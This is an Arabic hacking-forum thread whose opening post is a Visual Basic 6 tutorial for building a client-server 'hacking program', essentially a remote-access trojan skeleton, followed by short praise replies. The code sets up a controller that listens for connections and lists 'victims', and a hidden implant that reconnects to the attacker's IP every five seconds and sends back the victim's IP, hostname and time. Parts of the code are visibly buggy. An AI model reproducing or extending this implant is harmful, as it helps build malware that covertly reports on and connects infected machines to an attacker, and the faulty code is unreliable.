اشترك في قناتنا ليصلك جديدنا

اشترك في قناتنا على اليوتيوب ليصلك جديدنا

كذلك الاعجاب بصفحتنا على الفيسبوك

صنع برنامج اختراق عميل+خادم

صنع برنامج اختراق عميل+خادم


صفحة 1 من 3 123 الأخيرةالأخيرة
النتائج 1 إلى 10 من 25

الموضوع: صنع برنامج اختراق عميل+خادم

  1. #1
    هكر نشيط Array الصورة الرمزية BlAcK HuNtEr
    تاريخ التسجيل
    Aug 2012
    المشاركات
    161

    Hasri صنع برنامج اختراق عميل+خادم



    بسم الله الرحمن الرحيم
    الحمد لله رب العالمين ، والصلاة والسلام على أشرف الخلق وأعز المرسلين وبعد،،
    موضوعنا اليوم باين من عنوانه
    سنشرح صنع واجهة برنامج اختراق ( عميل + خادم)

    -: العميل :-
    نشغل برنامج الفيجوال بيسك

    الأدوات
    ندوس كليك شمال على الـ Tool Bar

    نختار بعدها Components

    نختار اداتين

    اول اداه و اسمها

    Microsoft Windows Common Controls 6.0

    و تانى اداه و هيا الوينسوك و طبعا دى مشهوووووووره جدا للكل و الكل عارف ايه استخداماتها

    Microsoft Winsock Control 6.0


    نضيف اداه List View و اداه Winsock كما موضح بالصوره

    نركز هنا بقى شويه لأن النقطه دى مهمه جداااااااااا

    نختار اداه الوينسوك و نعدل كلأتى

    Name : Sock
    Index : 0

    و بعدها نختار اداه الليست فيو

    و نعدل عليها

    Name : lstvict

    و بعدها ندوس زرار Custom

    نعدل اعداداتها بالظبط زى ما هو باين ف الصوره

    و بعدها ندوس على زرار Column Headers

    نيجى بقى لتقسيم الليست بتاعتنا عشان تظهر فيها معلومات السيرفر

    ندوس على insert column


    رقم 1 ده هيبقى اسم الخانه اللى هيظهر فيها رقم الضحيه

    و نرجع تانى ندوس على insert Column

    و نضيف
    IP
    و بعدها insert Column
    و نضيف
    User Name
    و بعدها insert column
    و نضيف
    Time

    و ملحوظه كدا صغيره

    Width ده يبقى عرض الخانه

    عشان ننسق الخانات بالتساوى و عرضهم يبقى قد بعض

    انا مثلا خليت عرضهم
    1653.73

    هيظهر لنا بالشكل ده

    كدا خلصنا من الوينسوك و الليست فيو

    نضيف تكست

    و نسميه
    Sck

    و نخلى القيمه

    Visible = False

    لحد كدا و تمااااااااااام اووووووووووووووى و خلصنا من كلللللللل الأدوات (( الخاصه بالعميييل ))

    -: الأكواد :-

    كود التصريحات العامه
    كود:
    Dim SckNumber As Integer
    كود الفورم لود
    كود:
    SckNumber = 0 ' تصفير المتغير SckNumber
    
    Form1.Sock(Index).Close '  قفل الوينسوك و قطع اى اتصال
    
    Form1.Sock(Index).LocalPort = 5100   '  تحديد البورت المناسب للوينسوك
    
     Form1.Sock(Index).Listen  ' بدايه الأنصات
    -: اكواد الوينسوك :-

    ف الوينسوك يوجد اجرائات متععده

    ما هوا الأجراء و ما هى الأداه؟؟

    نختار الأجرائين

    Close
    Error
    كود:
    ''''''''  قطع الأتصال من الخادم المغلق''''''''''
    Sock(Index).Close
    For z = 1 To lstvict.ListItems.Count
    lstvict.ListItems.Remove lstvict.ListItems(z).Index
    Next z
    '''''''''''''''''''''''''''''''''
    connectionRequest الأجراء
    كود:
    On Error GoTo Err:
    '''''''''قبول الأتصال و اضافه وينسوك جديده''''''''''
    كود:
    Dim InServer As Long 
    ConnectionAttempts = ConnectionAttempts + 1
    If Sock.UBound <= 1 Then
    InServer = lstvict.ListItems.Count + 1
    Else
    InServer = Val(lstvict.ListItems(lstvict.ListItems.Count).SubItems(0)) + 1
    End If
    
    Load Sock(InServer) 
    Sock(InServer).Accept requestID
    Sock(InServer).SendData "v1ct1m"
    Exit Sub
    
    Err: 
    On Error Resume Next:
    Unload Sock(InServer) ' مسح الوينسوك عند حدوث اى خطا
    '''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    كود:
    Dim All_data As String, NData() As String 
    
    
    Sock(Index).GetData All_data, vbString 
    IndataCompressed = Round(IndataCompressed + (((Len(All_data) / 4) * CompressLevel) / (1024 ^ 2)), 8): IndataNormal = Round(IndataNormal + (Len(All_data) / (1024 ^ 2)), 8)
    NData = Split(All_data, "[\SC/]")
    
    Select Case NData(0)
    
    Case "v1ct1m"
    lstvict.ListItems(index1).ListSubItems.add index2, , Ndata(index3)
        newItem.ListSubItems.Add , , NData(1)
        newItem.ListSubItems.Add , , NData(2)
        newItem.ListSubItems.Add , , NData(3)
            
            End Select
    الرجاء الانتباه للكود التالي
    كود:
    Ndata = Split(All_Data, "[\SC/]")
    معنى الكود هو:يقسم المعلومات اللى واصله من الخادم و بيظهرلنا اللى احنا عاوزينه بس

    Split : كود التقسيم
    All Data : الداتا اللى بتوصل من الخادم
    [\SC/] : الكلمه اللى بتفصل بين الدليل و المعلومات

    يعنى مثلا

    نتفرض ان الكود
    كود:
    Dim rEdwolf() , Visual As String
    
    rEdWolf = Split(Visual,"|")
    و نفترض ان Visual
    كود:
    msg|ahmed
    و عاوزين نظهر ده ف مسج بوكس

    هيبقى كودنا
    [IMG]Msgbox rEdW0LF(1)[/IMG]

    rEdWolf لتقسيم المعلومات
    و رقم 1 ده يبقى رقم الداتا

    ياريت بجد اكون قدرت اوصل وظيفه الكود


    بكده العميل اصبح تمااااااااااااااااااااااا ااااااااااااااااااااااااا اااااااااااااااام



    -:السيرفر:-

    الأدوات

    نضيف الأدوات كما بالصوره


    txtip : الاى بى الخاص بالعميل
    txtport : البورت
    sock : الوينسوك
    Timer1 : التايمر اللى هيقوم بعمليه الأتصال و هنخليه يجرب اتصاله كل 5 ثوانى

    و نخلى القيمه Visible = False


    و بكده خلصنا ادوات السيرفر


    الأكواد

    كود الفورم لود
    كود:
    Timer1.Interval = 5000
    اكواد الوينسوك

    الأجراء

    Close
    Error

    كود:
    Sock.Close
    الأجراء DataArrival
    (البيانات اللي بتوصل من العميل)
    كود:
     Dim Ndata() As String, All_Data As String 
    'تقسيم المعلومات
    
    Ndata = Split(All_Data, "[\SC/]")
     Sock.GetData All_Data 
    Select Case Ndata(0)
    Case "v1ct1m"
    'استقبال معلومات الخادم
    
     TMPSTR = "v1ct1m" 
    TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalIP
    TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalHostName
    TMPSTR = TMPSTR & "[\SC/]" & Time
    Sock.SendData TMPSTR
    
    End Select
    و اخيرا كود الـ Timer
    كود:
    If Not Sock.State = sckConnected Then
        Sock.Close
        Sock.Connect txtip, txtport
    Else
    
        Exit Sub
    End If
    الآن خلصنا واجهة البرنامج(عميل +خادم)

    ومبروك عليك أصبحت مبرمج ههههههههه
    ملاحظة //////
    الموضوع منقول للفائدة العامة





    التعديل الأخير تم بواسطة BlAcK HuNtEr ; 09-14-2012 الساعة 07:19 PM


  2. #2
    هكر متميز Array الصورة الرمزية مشاري احمد
    تاريخ التسجيل
    Feb 2012
    المشاركات
    963

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    اتشرف بان اكون اول من يرد ع موضوعك
    تنسيق ابداع تمييز
    يعطيك الف العافيه تقبل مرورري يالغلا


  3. #3
    هكر نشيط Array الصورة الرمزية BlAcK HuNtEr
    تاريخ التسجيل
    Aug 2012
    المشاركات
    161

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    اقتباس المشاركة الأصلية كتبت بواسطة مشاري احمد مشاهدة المشاركة
    اتشرف بان اكون اول من يرد ع موضوعك
    تنسيق ابداع تمييز
    يعطيك الف العافيه تقبل مرورري يالغلا
    مشكور يالغالي على المرور العطر ،



  4. #4
    :: مشرف قسم الباك تراك :: Array الصورة الرمزية يارب رحمتك
    تاريخ التسجيل
    May 2012
    الدولة
    روح العرب
    المشاركات
    1,147

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    بارك الله فيك ...

    بآلتوفيق ..!!


  5. #5
    هكر متألق Array الصورة الرمزية سارة الغامدي
    تاريخ التسجيل
    Jan 2012
    المشاركات
    6,473

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    يعطيك العافية


  6. #6
    هكر مجتهد Array الصورة الرمزية مصرى
    تاريخ التسجيل
    Aug 2012
    المشاركات
    463

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    أقل ما يمكن ان يقال
    شرح رائع وبارك الله فيك اخى



  7. #7
    هكر نشيط Array الصورة الرمزية M.Bomb
    تاريخ التسجيل
    Nov 2011
    المشاركات
    189

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    موضوع راائع جدا يستحق التقييم ......


  8. #8
    هكر نشيط Array الصورة الرمزية BlAcK HuNtEr
    تاريخ التسجيل
    Aug 2012
    المشاركات
    161

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    حياكم الله ،، نورتونا بمروركم العطر

    التعديل الأخير تم بواسطة BlAcK HuNtEr ; 09-15-2012 الساعة 03:51 PM

  9. #9
    هكر نشيط Array الصورة الرمزية BlAcK HuNtEr
    تاريخ التسجيل
    Aug 2012
    المشاركات
    161

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    اقتباس المشاركة الأصلية كتبت بواسطة يارب رحمتك مشاهدة المشاركة
    بارك الله فيك ...

    بآلتوفيق ..!!
    تسلم أخي ،، حياك الله



  10. #10
    هكر نشيط Array الصورة الرمزية BlAcK HuNtEr
    تاريخ التسجيل
    Aug 2012
    المشاركات
    161

    افتراضي رد: صنع برنامج اختراق عميل+خادم

    اقتباس المشاركة الأصلية كتبت بواسطة سارة الغامدي مشاهدة المشاركة
    يعطيك العافية
    شكرا على المرور العطر
    حياكم الله


صفحة 1 من 3 123 الأخيرةالأخيرة

المواضيع المتشابهه

  1. الطريقة الصحيحة لأستخدام خادم الاهاكر خاص بالمبتدئين
    بواسطة hanzer في المنتدى اختراق المواقع والسيرفرات
    مشاركات: 9
    آخر مشاركة: 09-17-2012, 02:40 PM
  2. انس بن مالك...خادم رسول الله صلى الله عليه وسلم
    بواسطة الفريدة في المنتدى المنتدى إلاسلامي
    مشاركات: 2
    آخر مشاركة: 02-18-2011, 03:45 AM
  3. توقعات بقدوم خادم الحرمين الاسبوع القادم ,,
    بواسطة ريكووو في المنتدى المنتدى العام
    مشاركات: 4
    آخر مشاركة: 01-21-2011, 05:01 PM

وجد الزوار هذه الصفحة بالبحث عن:

صنع برنامج اختراق

كيفية صنع برنامج هكر

صنع برنامج اختراق بالفيجوال بيسك

صنع برنامج هكر بالفيجوال بيسك

كيفية صنع برنامج اختراق

طريقة صنع برنامج هكر

صنع برامج هكر

تحميل برنامج العميل

تصميم برنامج هكر بالفيجوال بيسككيفية عمل برنامج هكر بالفيجوال بيسكطريقه عمل عميل خادم بالفيجوالصناعة برنامج اختراقكيف تصنع برنامج هكر بالفيجوال بيسككيف تصنع برنامج هكرعمل برنامج هكر بالفيجوال بيسكصنع برنامج إختراقكيف اصنع برنامج او اداة هكربرنامج الاختراق الجديدصنع برنامج هكرطريقة صناعة برنامج هكركيفة اصنع كود فيجولعمل برنامج اختراق بالفيجوال بيسكصنع برنامج اختراق فيجوالعمل اندكس اختراق بالفيجوالكيف تصنع هكر عن طريق الفيجوال بيسك

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •